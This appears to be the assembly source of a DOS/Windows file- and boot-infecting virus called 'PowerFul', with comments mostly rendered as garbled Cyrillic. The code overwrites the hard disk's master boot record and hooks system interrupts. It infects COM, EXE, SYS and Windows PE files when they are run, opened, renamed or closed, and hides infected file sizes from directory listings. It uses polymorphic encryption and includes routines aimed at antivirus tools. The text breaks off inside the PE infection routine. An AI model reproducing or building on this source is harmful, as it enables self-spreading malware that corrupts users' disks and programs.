[POWERFUL.ASM]
; p Predator 
; Const Ŀ
;p p                                                ;
version_of_virus equ <52>                                     ;
; p                                         ;
length_virus_in_bate=(endvirus-virus)                         ;
; p  ᥪp                                     ;
length_virus_in_sector=(length_virus_in_bate)/200h+1          ;
;
public  virus ;For Soft-Ice
include macro.inc
.286
.model tiny
locals
jumps
.code
start:
; ANTIVIRUS BREAK 
;H p쭮 p 䠩 ᤥ  pᯮ ANTIVIRUS'
;p直 (窨  ⠭)
;       push_all_register ; 㤥  p쭮 p 䠩
;       mov      ah,2
;       mov      dl,40h
;       int      21h
; SMEG Decryptor 
;H p쭮 p 䠩 ᤥ 㤥 室 pp ⨯ SMEG.
;  砩  400h  600h
; Virus 
virus:  ;   ⪠ VIRUS  室  p cs:0
        jmp      goto_virus
; Manager of Predator 
; Const Ŀ
;p 宦 MANAGER'                             
address_of_manager_in_memory=240h                             ;
;
begin_manager:
        dw       31f5h
%       db       'PowerFul v&version_of_virus& // DK'
;
;᭮ ﭭ  manager'.
;p⪠ 21' pp뢠  manager
obr_int_21_in_manager:
        push_all_register_withf
        cld
        zero_ds
        set_es_BC00
        cmp      byte ptr ds:[flag_obr_int21-begin_manager+address_of_manager_in_memory],1
        jz       two_part_of_manager
        cmp      ax,3521h ;  21' p
        jnz      maybe_set_vector
        pop_all_register_withf
        les      bx,cs:[int21_old_vector_in_manager-begin_manager+address_of_manager_in_memory+1]
        iret
maybe_set_vector:
        cmp      ax,2521h ; ⠢ 21' p
        jnz      two_part_of_manager
        pop_all_register_withf
        mov      cs:[int21_old_vector_in_manager-begin_manager+address_of_manager_in_memory+1],dx
        mov      cs:[int21_old_vector_in_manager-begin_manager+address_of_manager_in_memory+3],ds
        mov      byte ptr cs:[flag_obr_int21-begin_manager+address_of_manager_in_memory],1
        mov      word ptr cs:[21h*4],offset(obr_int_21_in_manager-begin_manager+address_of_manager_in_memory)
        mov      word ptr cs:[21h*4+2],0
        iret
two_part_of_manager:
        mov      ah,0fh ; ⥪騩 VIDEO ०
        pushf
        call     dword ptr ds:[10h*4]
        cmp      al,3h
        ja       quit_manager
        jmp      quit_manager
        ;஢ਬ 稥   
        call     crc
        jnc      detected_virus_in_memory
        dec      byte ptr ds:[solving-begin_manager+address_of_manager_in_memory]
        cmp      byte ptr ds:[solving-begin_manager+address_of_manager_in_memory],0
        ja       quit_manager
        mov      byte ptr ds:[solving-begin_manager+address_of_manager_in_memory],200d
        ;⠥ 
        xor      bx,bx
virus_place_on_disk:
        mov      cx,0100h
        mov      ah,02
        mov      al,length_virus_in_sector
        mov      dx,0080h
        pushf
        call     dword ptr ds:[13h*4] ;⠥ p   p BC00:0000
        jc       quit_manager
detected_virus_in_memory:
        ;। ࠢ 
        lds      ax,ds:[int21_old_vector_in_manager-begin_manager+address_of_manager_in_memory+1]
        mov      es:[place_of_int21-virus+1],ax
        mov      es:[place_of_int21-virus+3],ds
        pop_all_register_withf
        jmp      dword ptr cs:[jumper-begin_manager+address_of_manager_in_memory]
quit_manager:
        pop_all_register_withf
int21_old_vector_in_manager:
        db       0eah,00,00,00,00
;
crc:    push_all_register
        set_ds_BC00
        xor      bx,bx
        xor      ax,ax
        mov      si,offset(begin_solve_crc16-virus)
        mov      cx,offset(end_solve_crc16-begin_solve_crc16)
        cld
crc16:  lodsb    ;AL <- DS:[SI]
        shr      bx,1
        add      bx,ax
        loop     crc16
        cmp      bx,13Eh
        jnz      bad_crc
        clc
        jmp      quit_crc
bad_crc:
        stc
quit_crc:
        pop_all_register
        retn
;
;p  manager'a, ᯮ ⮫쪮 p p㧪 
;p墠 INT 21.
;p⪠ 8' pp뢠  manager
obr_int_8_in_manager:
        push_all_register_withf
        xor      ax,ax
        mov      ds,ax
        mov      ax,word ptr ds:[21h*4+2]
        cmp      ax,800h
        ja       @@quit
        ;⠭ ᢮ INT 21
        cli
        les      bx,ds:[21h*4]
        mov      ds:[int21_old_vector_in_manager-begin_manager+address_of_manager_in_memory+1],bx
        mov      ds:[int21_old_vector_in_manager-begin_manager+address_of_manager_in_memory+3],es
        mov      word ptr ds:[21h*4],offset(obr_int_21_in_manager-begin_manager+address_of_manager_in_memory)
        mov      word ptr ds:[21h*4+2],0
        mov      byte ptr ds:[flag_obr_int21-begin_manager+address_of_manager_in_memory],0
        les      bx,cs:[int8_old_vector_in_manager-begin_manager+address_of_manager_in_memory+1]
        mov      ds:[8h*4],bx
        mov      ds:[8h*4+2],es
@@quit:
        pop_all_register_withf
int8_old_vector_in_manager:
        db       0eah,00,00,00,00
; DATA in manager 
jumper                    dw offset(obr21-virus),0Bc00h
solving                   db 200d
flag_obr_int21            db 0h
;p  , 室  MANAGER
for_5b_3c_file_name       db 50h  dup (?)
for_5b_3c_handle          dw 0ffh
manager_idle_flag         db 0h ; 1' ᫨ MANAGER 몫祭
end_manager:
; BOOT 
begin_mbr:
        xor      bx,bx
        cli
        mov      sp,7c00h
        mov      ss,bx
        sti
        jmp      short jump_version
check_mbr:
        ;⪠  pᯮ    㦥  MBR
        dw       31f5h
        db       version_of_virus
jump_version:
        mov      ax,0bc00h
        mov      es,ax
virus_place_on_disk2:
        ;⠥ p   p BC00:0000
        mov      cx,0100h
        mov      ah,02
        mov      al,length_virus_in_sector
        mov      dx,0080h
        int      13h
        push     es
        mov      ax,offset(after_mbr-virus)
        push     ax
        retf
end_mbr:
; AFTER BOOT 
; Data section Ŀ
flag_what_file db 4h                                             ;
; 1, ᫨  䠩 COM                                          ;
; 2, ᫨  䠩 SYS                                          ;
; 3, ᫨  䠩 EXE (DOS)                                    ;
; 4, ᫨  䠩 PE EXE (32'bit Windows 95 app)               ;
; 4, ⠪ 室  Original Instalation                   ;
string_NT  db 10,'Windows*NT'                                    ;
;
;H 室  AFTER MBR: ES=BC00h=CS
after_mbr:
        ;⠢ manager
        zero_es
        push     cs
        pop      ds
        mov      si,offset(begin_manager-virus)
        mov      di,address_of_manager_in_memory
        mov      cx,offset(end_manager-begin_manager)
;訡 ᫨ ࠧ Manager'  200h
.errnz  offset(end_manager-begin_manager) GT (400h-address_of_manager_in_memory)
        rep      movsb      ; DS:[SI] -> ES:[DI]
        ;⠭ INT8  manager
        lds      bx,es:[8h*4]
        mov      es:[int8_old_vector_in_manager-begin_manager+address_of_manager_in_memory+1],bx
        mov      es:[int8_old_vector_in_manager-begin_manager+address_of_manager_in_memory+3],ds
        cli
        mov      es:[8h*4],offset(obr_int_8_in_manager-begin_manager+address_of_manager_in_memory)
        mov      word ptr es:[8h*4+2],0
        sti
        ;⠥ ਣ MBR  ।  ࠢ
        mov      ax,0201h
        mov      bx,7c00h
        mov      cx,word ptr cs:[virus_place_on_disk2-virus+1]
        dec      cx
        mov      dx,0080h
        int      13h ;⠥ p MBR  p 0:7c00h
        push     es
        push     bx
        retf
; General Virus Entry Point 
;H 室  ⥪ (DS ES PUSHA - ᫨ ᤥ POP AX,  AX 㤥 = DS)
goto_virus:
        push     cs
        pop      ds
        call     $+3
init_offset_of_virus:
        pop      si
        sub      si,offset(init_offset_of_virus-virus)
        push     si
        ;pp    NT ᨤ
        mov      ah,62h
        int      21h
        mov      es,bx
        mov      es,es:[2ch]
        xor      di,di     ;ES:DI = 0:0 -  㤠  ᪠p 
        mov      cx,200h   ;쪮 ᪠p
        mov      bx,1h     ; ᪠p p 1'
        lea      si,[string_NT-virus+si]
        call     scan_mem_call
        pop      si
        push     si
        jc       goto_normal_programm       ; p㦨 Windows NT
        lea      bx,[endvirus-virus+si]     ;   ⥫ 
        push     cs
        pop      es
        mov      cx,0001h                   ; =1 =0
        mov      dx,0080h                   ; =0 
        mov      ax,0201h
        int      13h
        jnc      check_our_on_mbr           ; 室 p 訡 ⥭ MBR
        cmp      byte ptr ds:[extention-virus+si],2 ;SYS 䠩
        jz       goto_normal_programm
        jmp      write_on_memory
check_our_on_mbr:
        cmp      word ptr ds:[check_mbr-begin_mbr+bx],31f5h
                 ; pp塞 -  㦥  MBR
        jz       write_on_memory
        call     take_param_disk
        jc       write_on_memory
        ;뢠 ਣ MBR  ᥪ
        mov      ax,0301h
        mov      dx,0080h
        call     call_int_13
        jc       write_on_memory
        ; 襬 ⥫ p  .
        mov      ah,03h
        ;쪮 ᥪp  p
        mov      al,length_virus_in_sector
        mov      bx,si
        inc      cx               ; ᠭ ਣ. MBR
        mov      word ptr ds:[virus_place_on_disk-virus+1+bx],cx
        mov      word ptr ds:[virus_place_on_disk2-virus+1+bx],cx
                                   ; ᥪ  樫p,  室
                                   ;砫 p
        mov      dx,0080h
        call     call_int_13
        jc       write_on_memory
        ;pᨬ  MBR'   孨 MBR
        lea      si,[begin_mbr-virus+bx]   ; MBR-  .
        lea      di,[endvirus-virus+bx]    ;  ਣ. MBR ᥩ 室.
        mov      cx,offset(end_mbr-begin_mbr)
        rep      movsb                     ;ᨬ  ਣ. MBR .
        ;H "Y", ᫨ p  ⠡窠 BIOS'    MBR
        zero_ds
        mov      word ptr ds:[041ah],1eh
        mov      word ptr ds:[041ch],1eh+2h
        mov      word ptr ds:[041eh],1559h
        ;襬  MBR
        mov      ax,0301h
        lea      bx,[endvirus-virus+bx]
        call     set_dses_cs
        mov      cx,0001h
        mov      dx,0080h
        call     call_int_13
        zero_ds
        ;頥 p p
        mov      word ptr ds:[041ah],1eh
        mov      word ptr ds:[041ch],1eh
        jmp      write_on_memory
;
take_param_disk:
        mov      ah,8h
        mov      dl,80h
        int      13h           ; ࠬ ᪠
        jc       quit_from_take_param_disk
        and      cl,00111111B  ;CL-ᨬ  ᥪ, p     p
                               ;H-ᨬ  樫
                               ;DH-ᨬ  , p     p
        cmp      cl,1+1+length_virus_in_sector+1
        ;1(Reserved_for_MBR)+1(OLD_MBR)+( p  ᥪp)+1(Reserved)
        jb       quit_from_take_param_disk_with_set_carry
        mov      cl,2
        xor      ch,ch
        xor      dh,dh
quit_from_take_param_disk:
        retn
quit_from_take_param_disk_with_set_carry:
        stc
        retn
;
call_int_13:
        push     ds
        zero_ds
        pushf
        cli
        call     dword ptr ds:[13h*4]
        pop      ds
        retn
; p릮   
write_on_memory:
        zero_ds
        cmp      word ptr ds:[address_of_manager_in_memory],31f5h
        jnz      goto_normal_programm
        cmp      byte ptr ds:[manager_idle_flag-begin_manager+address_of_manager_in_memory],1h
        jnz      goto_normal_programm
        mov      byte ptr ds:[manager_idle_flag-begin_manager+address_of_manager_in_memory],0
        mov      ax,3521h ;ES:BX
        int      21h
        mov      ds:[int21_old_vector_in_manager-begin_manager+address_of_manager_in_memory+1],bx
        mov      ds:[int21_old_vector_in_manager-begin_manager+address_of_manager_in_memory+3],es
        mov      ax,2521h ;DS:DX
        mov      dx,offset(obr_int_21_in_manager-begin_manager+address_of_manager_in_memory)
        int      21h
; p p p쭮 pp 
goto_normal_programm:
        pop      bx        ;饭 ⪨ Virus
        call     set_dses_cs
        cmp      byte ptr ds:[bx+extention-virus],4 ;smartdrv.exe
        jnz      itis_not_smartdrv
        mov      ax,4c00h
        int      21h
itis_not_smartdrv:
        mov      ax,cs
        cmp      byte ptr ds:[bx+extention-virus],2 ;SYS 䠩
        jz       decrypt_sysfile
        pop      ax        ; ES, p  ⥪
        push     ax        ; COM  EXE 䠩 ⭮⥫쭠 窠
                           ;pp PSP+10h:0000
        add      ax,10h
decrypt_sysfile:
        mov      es,ax
        call     decrypt_blok
        cmp      byte ptr ds:[bx+extention-virus],2 ;SYS 䠩
        jnz      itisnot_SYS_file
; SYS 
        mov      ax,word ptr ds:[bx+old_first_1c_byte-virus+6]
        mov      ds:[6],ax
        add      word ptr ds:[bx+sys_jmp-virus+3],bx
        pop_all_register
sys_jmp:
        jmp      cs:[old_first_1c_byte-virus+6]
;
itisnot_SYS_file:
        pop      es
        push     es
        mov      bp,es
        add      bp,10h
        add      ds:[old_first_1c_byte-virus+bx+16h],bp     ;Relo CS
        add      ds:[old_first_1c_byte-virus+bx+0eh],bp     ;Relo SS
        add      word ptr ds:[here_jmp-virus+3+bx],bx
        cmp      byte ptr ds:[extention-virus+bx],3    ;EXE 䠩
        jz       itis_EXE_file
; COM 
        lea      si,[old_first_1c_byte-virus+bx]
        mov      di,100h
        mov      cx,03h
        rep      movsb   ;DS:[SI] -> ES:[DI]
        pop_all_register
        jmp      here_jmp
;
;H 室 BP = PSP+10h
itis_EXE_file:
        mov      ds,es:[2ch] ; p ⥬ ⥪
        xor      si,si
        ;饬   EXE 䠩
seach_to_EXE_file:
        inc      si
        cmp      word ptr [si],0
        jnz      seach_to_EXE_file
        add      si,4
        mov      dx,si
        ;p뢠 䠩
        mov      ax,3d00h
        int      21h
        jc       error_adjust_EXE_file
        push     cs
        pop      ds
        mov      word ptr ds:[bx+handle_of_EXE_file-virus+1],ax
        xor      cx,cx
        ;襭 ⠡ p饭
        mov      dx,ds:[bx+old_first_1c_byte-virus+18h]
        mov      ax,4200h
        call     call_int_21_adjust_EXE_file
next_blok_item:
        lea      si,ds:[bx+offset_for_adjust_EXE_file-virus]
        mov      dx,si
        ;⢮ ⮢  ⠡ p饭
        mov      cx,ds:[bx+old_first_1c_byte-virus+06h]
        jcxz     EXE_file_is_adjusted
        cmp      cx,offset(endvirus-offset_for_adjust_EXE_file)/4h
        jc       blok_item_is_not_big
        mov      cx,offset(endvirus-offset_for_adjust_EXE_file)/4h
blok_item_is_not_big:
        sub      ds:[bx+old_first_1c_byte-virus+06h],cx
        push     cx
        shl      cx,1
        shl      cx,1   ;CX*4
        mov      ah,3fh
        call     call_int_21_adjust_EXE_file
        jc       error_adjust_EXE_file
        pop      cx
next_item:
        add      [si+2],bp
        les      di,[si]
        add      es:[di],bp
        add      si,4
        loop     next_item
        cmp      word ptr [bx+old_first_1c_byte-virus+06h],0
        ja       next_blok_item
EXE_file_is_adjusted:
        mov      ah,3eh   ;p ⥫ 䠩
        call     call_int_21_adjust_EXE_file
        add      word ptr ds:[bx+here_sp-virus+3],bx
        add      word ptr ds:[bx+here_reloss-virus+3],bx
        pop_all_register
        cli
here_sp:
        mov      sp,cs:[old_first_1c_byte-virus+10h] ;SP
here_reloss:
        mov      ss,cs:[old_first_1c_byte-virus+0eh] ;Relo SS
        sti
here_jmp:
        jmp      dword ptr cs:[old_first_1c_byte-virus+14h]
;
error_adjust_EXE_file:
        sti
        mov      ax,4c00h
        int      21h
; Data Section Ŀ
old_first_1c_byte  db 0,1,2     ; 㤥 JMP  COM 䠩 ;
                   db 3,4,5,6,7,8,9,0ah,0bh,0ch,0dh            ;
                   db 0f0h,0ffh ;饭 0eh - Relo SS        ;
                   db 0feh,0ffh ;饭 10h - SP             ;
                   db 012h,013h                                ;
                   db 000h,001h ;饭 14h - IP             ;
                   db 0f0h,0ffh ;饭 16h - ReloCS         ;
                   db 018h,019h,01ah,01bh                      ;
; OLD_FIRST_1C_BYTE  室  ⮬ ,      ;
;  㤥 p p EXE 䠩,          ;
; pp                                          ;
;
;
call_int_21_adjust_EXE_file:
        push     bx
handle_of_EXE_file:
        mov      bx,0100h
        int      21h
        pop      bx
        retn
offset_for_adjust_EXE_file:
; p⪠ 21- pp뢠 
begin_solve_crc16:
obr21:  pushf
        cld
        cmp      ah,11h ;
        jz       stealth_line_fcb
        cmp      ah,12h ;
        jnz      steal2
;Ŀ
;p뢠 , ᫨ 䠩   p FCB    
stealth_line_fcb:                                      ;
        push     bx es ax                              ;
        mov      ah,2fh                                ;
        call     call_int_21                           ;
        pop      ax                                    ;
        call     call_int_21                           ;
        cmp      al,0ffh                               ;
        jz       Fer1                                  ;
        push     ax                                    ;
        cmp      byte ptr es:[bx],0ffh                 ;
        jnz      Fer2                                  ;
        add      bx,7h                                 ;
Fer2:   add      bx,17h                                ;
        call     check_on_allredy_virused              ;
        pop      ax                                    ;
        jnc      Fer1                                  ;
        add      bx,6h                                 ;
        call     give_length_without_virus             ;
Fer1:   pop      es bx                                 ;
Lbusy2: popf                                           ;
        iret                                           ;
;
end_solve_crc16:
steal2: cmp      ah,4eh ;
        jz       stealth_line_of_file
        cmp      ah,4fh ;
        jnz      other_funtions
;Ŀ
;p뢠 ,   㭪権 4E  4F.              
stealth_line_of_file:                                  ;
        push     bx es ax                              ;
        mov      ah,2fh  ;  p ⥪饩 DTA      ;
                         ; 室: ES:BX - p 砫  ;
        call     call_int_21                           ;
        pop      ax                                    ;
        call     call_int_21                           ;
        jc       quit_stc_retf2                        ;
        push     ax                                    ;
        add      bx,16h                                ;
        call     check_on_allredy_virused              ;
        pop      ax                                    ;
        jnc      quit_clc_retf2                        ;
        add      bx,4h ;                         ;
        call     give_length_without_virus             ;
quit_clc_retf2:                                        ;
        pop      es bx                                 ;
        popf                                           ;
        clc                                            ;
        jmp      Lbusy4                                ;
quit_stc_retf2:                                        ;
        pop      es bx                                 ;
        popf                                           ;
        stc                                            ;
Lbusy4: sti                                            ;
        Retf     0002                                  ;
;
other_funtions:
        ; ⥪ PUSHF
        call     set_our_int_24 ; ⠢  24 뢠
        cmp      ax,4b00h       ; 믮 䠩
        jnz      rename_move_file
;Ŀ
;p p ᪥                             ;
        call     Asciiz                                ;
        cmp      byte ptr cs:[extention-virus],0       ;
        jz       set_old_int_24_jmpint21               ;
        cmp      byte ptr cs:[filename-virus],0        ;
        jnz      antivirus_sucks                       ;
        cmp      byte ptr cs:[filemask-virus],0        ;
        jnz      antivirus_sucks                       ;
        call     call_zaraza                           ;
        jmp      set_old_int_24_jmpint21               ;
antivirus_sucks:                                       ;
        cmp      byte ptr cs:[filename-virus],5        ;
        ja       set_old_int_24_jmpint21               ;
        cmp      byte ptr cs:[filemask-virus],3        ;
        jbe      anti_mem                              ;
        jmp      set_old_int_24_jmpint21               ;
;
rename_move_file:
        cmp      ah,56h     ;p p 䠩
        jz       infected_fnc21
        cmp      ah,3dh     ;p ⥫ 䠩
        jz       infected_fnc21
        cmp      ah,43h     ;p p 䠩
        jnz      create_file
;Ŀ
;p/p 䠩                        ;
;p 䠩                                          ;
;p p 䠩                                 ;
infected_fnc21:                                        ;
        call     Asciiz                                ;
        cmp      byte ptr cs:[extention-virus],0       ;
        jz       set_old_int_24_jmpint21               ;
        cmp      byte ptr cs:[filename-virus],0        ;
        jnz      set_old_int_24_jmpint21               ;
        cmp      byte ptr cs:[filemask-virus],0        ;
        jz       infected_fnc21_call_zaraza            ;
        cmp      byte ptr cs:[filemask-virus],4        ;
        jnz      set_old_int_24_jmpint21               ;
infected_fnc21_call_zaraza:                            ;
        call     call_zaraza                           ;
        jmp      set_old_int_24_jmpint21               ;
;
create_file:
        cmp      ah,5bh
        jz       infected_after_5b_3c
        cmp      ah,3ch
        jnz      close_file_handle_obr21
;Ŀ
;㭪 5B ᮧ  䠩                         ;
;㭪 3C ᮧ ⥫ 䠩                    ;
infected_after_5b_3c:                                  ;
        popf                  ;﫨 䫠           ;
        call     call_int_21  ; 䠩            ;
        push_all_register_withf                        ;
        jc       set_old_int_24_popallf_retf2          ;
        zero_es                                        ;
        mov      word ptr es:[for_5b_3c_handle-begin_manager+address_of_manager_in_memory],ax
        mov      di,offset(for_5b_3c_file_name-begin_manager+address_of_manager_in_memory)
        mov      si,dx                                 ;
        mov      cx,size for_5b_3c_file_name           ;
        rep      movsb ;DS:[SI] -> ES:[DI]             ;
        jmp      set_old_int_24_popallf_retf2          ;
;
close_file_handle_obr21:
        cmp      ah,3eh ;p ⥫ 䠩
        jnz      set_old_int_24_jmpint21
;Ŀ
        push     ds                                    ;
        zero_ds                                        ;
        cmp      bx,word ptr ds:[for_5b_3c_handle-begin_manager+address_of_manager_in_memory]
        jz       zaraza3e                              ;
        pop      ds                                    ;
        jmp      set_old_int_24_jmpint21               ;
zaraza3e:                                              ;
        pop      ds                                    ;
        popf                                           ;
        call     call_int_21                           ;
        push_all_register_withf                        ;
        zero_ds                                        ;
        mov      dx,offset(for_5b_3c_file_name-begin_manager+address_of_manager_in_memory)
        call     Asciiz                                ;
        cmp      byte ptr cs:[extention-virus],0       ;
        jz       set_old_int_24_popallf_retf2          ;
        cmp      byte ptr cs:[filename-virus],0        ;
        jnz      set_old_int_24_popallf_retf2          ;
        cmp      byte ptr cs:[filemask-virus],0        ;
        jnz      set_old_int_24_popallf_retf2          ;
        call     call_zaraza                           ;
set_old_int_24_popallf_retf2:                          ;
        call     set_old_int_24 ; ⠢ p 24- pp뢠
        pop_all_register_withf                         ;
        sti                                            ;
        retf     0002                                  ;
;
set_old_int_24_jmpint21:
        call     set_old_int_24 ; ⠢ p 24' 뢠
        ; ⥪ FLAGS
        popf
        jmp      dword ptr cs:[place_of_int21-virus+1]
; ZARAZA 
call_zaraza:
        push_all_register
        call     void_atr
        jc       pop_all_reg_and_retn
        mov      ax,3d02h       ; p 䠩  ⥭/
        call     call_int_21
        jc       cannot_take_handle
        push     dx ds
        mov      cs:[place_of_handle-virus+1],ax
        ; ⥫ p ᤥ ( 易⥫쭮)
        call     common_infected
        call     close_file_handle
        pop      ds dx
cannot_take_handle:
        call     set_old_atr
pop_all_reg_and_retn:
        pop_all_register
        retn
;
common_infected:
        mov      bp,sp
        call     set_dses_cs
        call     check_on_allredy_virused_with_take_time
        jc       infect_error          ;  p
        mov      word ptr ds:[bx],ax   ;  AX p (p)
        call     set_lseek_begin       ;砥 1Ch p   OLD p
        mov      cx,1ch
        mov      dx,offset(old_first_1c_byte-virus)
        push     dx  ;1
        call     read_file_through_handle
        jc       infect_error
        cmp      byte ptr ds:[filemask-virus],4 ;PE File
        jz       goto_infect_PE_file
        ;p뫠  ᮤp OLD  NEW
        xchg     si,dx
        mov      di,offset(new_first_1c_byte-virus)
        rep      movsb ;DS:[SI] -> ES:[DI]
        call     set_lseek_end
        mov      di,dx
        mov      si,ax
                 ; DI:SI -   䠩
        pop      bx  ;1         ;  BX ᬥ饭 OLD p
        cmp      word ptr [bx],0ffffh ; pp p⢠ SYS
        jz       go_infect_sys
        cmp      word ptr [bx],'ZM'
        jz       go_infec_exe   ; 䠩 EXE -   p EXE
; COM 
        cmp      byte ptr ds:[extention-virus],2 ;2-SYS file
        jz       infect_error
        ;  ᫨  䠩 pp COM  EXE.
        mov      byte ptr ds:[extention-virus],1 ;1-COM file
        ;⨬   COM 䠩 (㦭)!
        cmp      ax,0ffffh-offset(endvirus-virus+size buffer_for_SMEG_decryptor+300h) ;
        jae      infect_error
        cmp      ax,size buffer_for_SMEG_decryptor ;
        ;-   ⮣ pp  p
        jbe      infect_error
        ;室 pp  encrypt_blok
        mov      bx,ds:[place_of_handle-virus+1]
        mov      dx,ax
        mov      ax,20h
        pusha
        call     set_lseek_begin
        popa
        call     encrypt_blok
        mov      bx,offset(new_first_1c_byte-virus)
        mov      byte ptr ds:[bx],0e9h
        mov      ds:[bx+01],dx
        sub      word ptr ds:[bx+01],3
        mov      bx,offset(old_first_1c_byte-virus)
        mov      word ptr ds:[bx+0ah],0
        mov      word ptr ds:[bx+16h],0fff0h ;CS
        mov      word ptr ds:[bx+14h],0100h  ;IP
        ;蠥 SMEG  䠩
        mov      ax,dx
        add      ax,offset(antivirus_break_block_end-antivirus_break_block+100h)
        call     crypt_virus_and_write_to_end
write_new1c_and_end:
        call     set_lseek_begin
        mov      cx,01ch
        mov      dx,offset(new_first_1c_byte-virus)
        call     write_to_file_through_handle
        jc       infect_error
set_time_of_file_and_exit:
        call     set_time_of_file
infect_error:
        mov      sp,bp
        retn
; EXE 
;H 室  :
;BX=OLD buffer
;DS=ES=CS
;p OLD  1C ⠬  砫 䠩
;DI:SI -   䠩
go_infec_exe:
;砫 pp ᮤp- EXE' p  ᫨ ,   p.
        cmp      byte ptr ds:[extention-virus],2
        jz       infect_error
        ; , ᫨  䠩 pp COM  EXE.
        mov      byte ptr ds:[extention-virus],3
        ;⨬   EXE 䠩 (㦭)!
        mov      ax,[bx+4]   ; p  512- ⮢ p
        mov      cx,200h
        mul      cx
        sub      ax,200h
        sbb      dx,0
        add      ax,[bx+2]
        adc      dx,0
        cmp      si,ax
        jnz      infect_error
        cmp      di,dx
        jnz      infect_error
        ;   ᮤp p
        mov      ax,[bx+8]    ;   pp
        mov      cx,10h
        mul      cx
        sub      si,ax
        sbb      di,dx
        ;DI:SI -  䠩  
        call     set_lseek_to_exe_without_header
        mov      cx,4
        mov      dx,offset(common_buffer-virus)
        call     read_file_through_handle
        ;pp  EXE pp, ᫨    p!
        cmp      word ptr ds:[common_buffer-virus],0ffffh
        jnz      infect_link
        cmp      word ptr ds:[common_buffer-virus+2],0ffffh
        jz       infect_error
        cmp      word ptr ds:[common_buffer-virus+2],0
        jz       infect_error
infect_link:
        mov      dx,0fffeh
        or       di,di
        jnz      big_exe_file_present
        cmp      si,size buffer_for_SMEG_decryptor ;
        jc       infect_error
        mov      dx,si
big_exe_file_present:
        ;pp  encrypt_blok
        call     set_lseek_to_exe_without_header
        mov      bx,ds:[place_of_handle-virus+1h]
        mov      ax,20h
        call     encrypt_blok
        mov      bx,offset(new_first_1c_byte-virus)
        ;DI:SI -  䠩  
        mov      dx,di
        mov      ax,si
        mov      cx,10h
        div      cx
        push     dx
        mov      [bx+16h],ax     ;Relo CS
        mov      [bx+14h],dx     ;IP
        add      dx,offset(endvirus-virus+size buffer_for_SMEG_decryptor+300h) ;
        adc      ax,0
        mov      [bx+0eh],ax     ;Relo SS
        mov      [bx+10h],dx     ;Sp
        mov      word ptr [bx+06h],0
        mov      ax,030h
        cmp      [bx+0ah],ax     ; p㥬   殬 pp
        jae      min_mem_above_then_30
        mov      [bx+0ah],ax
min_mem_above_then_30:
        cmp      [bx+0ch],ax
        jae      max_mem_above_then_30
        mov      [bx+0ch],ax     ;ᨬ p㥬   殬 pp
max_mem_above_then_30:
        pop      ax
        add      ax,offset(antivirus_break_block_end-antivirus_break_block)
        call     crypt_virus_and_write_to_end
        call     set_lseek_end ;室: DX:AX -   BX - Handle
        mov      cx,200h
        div      cx
        inc      ax
        mov      bx,offset(new_first_1c_byte-virus)
        mov      word ptr ds:[bx+04h],ax
        mov      word ptr ds:[bx+02h],dx
        jmp      write_new1c_and_end
;pp ⠭ 㪠⥫  砫 EXE 䠩  
set_lseek_to_exe_without_header proc near
        pusha
        mov      ax,[bx+8]    ;   pp
        mov      cx,10h
        mul      cx
        mov      cx,dx
        mov      dx,ax
        call     set_lseek_begin_pluscxdx
        popa
        retn
set_lseek_to_exe_without_header endp
; SYS 
go_infect_sys:
        ;஢ਬ  ᫨誮  讣 ࠧ  ࠩ.
        ;(    ᮬ   64.)
        cmp      byte ptr ds:[extention-virus],2
        ; ⢨⥫쭮 SYS 䠩 ?
        jnz      infect_error
        or       di,di
        jnz      infect_error
        cmp      si,0ffffh-offset(endvirus-virus+size buffer_for_SMEG_decryptor+300h)
        jae      infect_error
        cmp      si,size buffer_for_SMEG_decryptor ;
        jbe      infect_error
        mov      word ptr ds:[new_first_1c_byte-virus+6],si
                                                 ; 塞  (Strategy)
        call     set_lseek_begin
        mov      ax,20h
        mov      dx,si
        mov      bx,ds:[place_of_handle-virus+1h]
        call     encrypt_blok
        mov      ax,si
        add      ax,offset(antivirus_break_block_end-antivirus_break_block)
        call     crypt_virus_and_write_to_end
        jmp      write_new1c_and_end
; PE 
goto_infect_PE_file:
        cmp      byte ptr ds:[extention-virus],3
        jnz      infect_error
        mov      byte ptr ds:[extention-virus],4
        call     set_lseek_begin
        mov      cx,40h
        mov      dx,offset(common_buffer-virus)
        call     read_file_through_handle
        mov      si,dx
        xor      cx,cx
        mov      dx,word ptr ds:[si+3ch]
        mov      ds:[PE_EXE_header_point-virus],dx
        call     set_lseek_begin_pluscxdx
        mov      cx,60h
        mov      dx,offset(PE_EXE_header-virus)
        call     read_file_through_handle
        mov      ax,word ptr ds:[PE_EXE_header-virus+6]
;# OBJECTS = DW Number of object entries.
;This field specifies the number of entries in the Object Table.
        dec      ax
        mov      cx,40d
        mul      cx
        add      ax,18h
        add      ax,word ptr ds:[PE_EXE_header-virus+14h] ;+NT_Header_size
        add      ax,word ptr ds:[PE_EXE_header_point-virus]
        mov      ds:[obj_point-virus],ax       ;㪠⥫  ᫥ ꥪ
        xor      cx,cx
        mov      dx,ax
        call     set_lseek_begin_pluscxdx
        mov      cx,40d
        mov      dx,offset(WIN_object-virus)
        call     read_file_through_handle         ;p⠥ ᫥ ꥪ
.386
        ;--------------------------------------------------------------------
        ;p塞 p RVA Entrypoint
        mov      eax,dword ptr ds:[PE_EXE_header-virus+28h]
;ENTRYPOINT RVA = DD Entrypoint relative virtual address.
;The address is relative to the Image Base.  The address is the
;starting address for program images and the library initialization
;and library termination address for library images.
        add      eax,dword ptr ds:[PE_EXE_header-virus+34h]
;IMAGE BASE = DD The virtual base of the image.
;This will be the virtual address of the first byte of the file (Dos
;Header).
        mov      dword ptr ds:[RVA_sub-virus],eax
                                                ;p RVA_Entrypoint
        ;--------------------------------------------------------------------
        ;⠭ ᢮ RVA Entrypoint
        mov      eax,dword ptr ds:[WIN_object-virus+0ch] ;RVA 쥪
        add      eax,dword ptr ds:[WIN_object-virus+10h] ;PHYS Size
        mov      dword ptr ds:[PE_EXE_header-virus+28h],eax
                                                  ; RVA_Entrypoint
        ;--------------------------------------------------------------------
        ;㤠 p 㤥 
        xor      edx,edx
        mov      eax,dword ptr ds:[WIN_object-virus+14h] ;PHYS OFFSET
        add      eax,dword ptr ds:[WIN_object-virus+10h] ;PHYS SIZE
        mov      ecx,10000h
        div      ecx  ;EDX:EAX/ECX -> EAX:EDX
.286
        push     dx
        push     ax
.386
        ;--------------------------------------------------------------------
        ;p㥬 VIRTUAL SIZE of Object
        xor      edx,edx
        mov      eax,dword ptr ds:[WIN_object-virus+8h]     ;VIRTUAL SIZE
        add      eax,offset(end_win_virus-begin_win_virus+50h+endvirus-virus+size common_buffer)
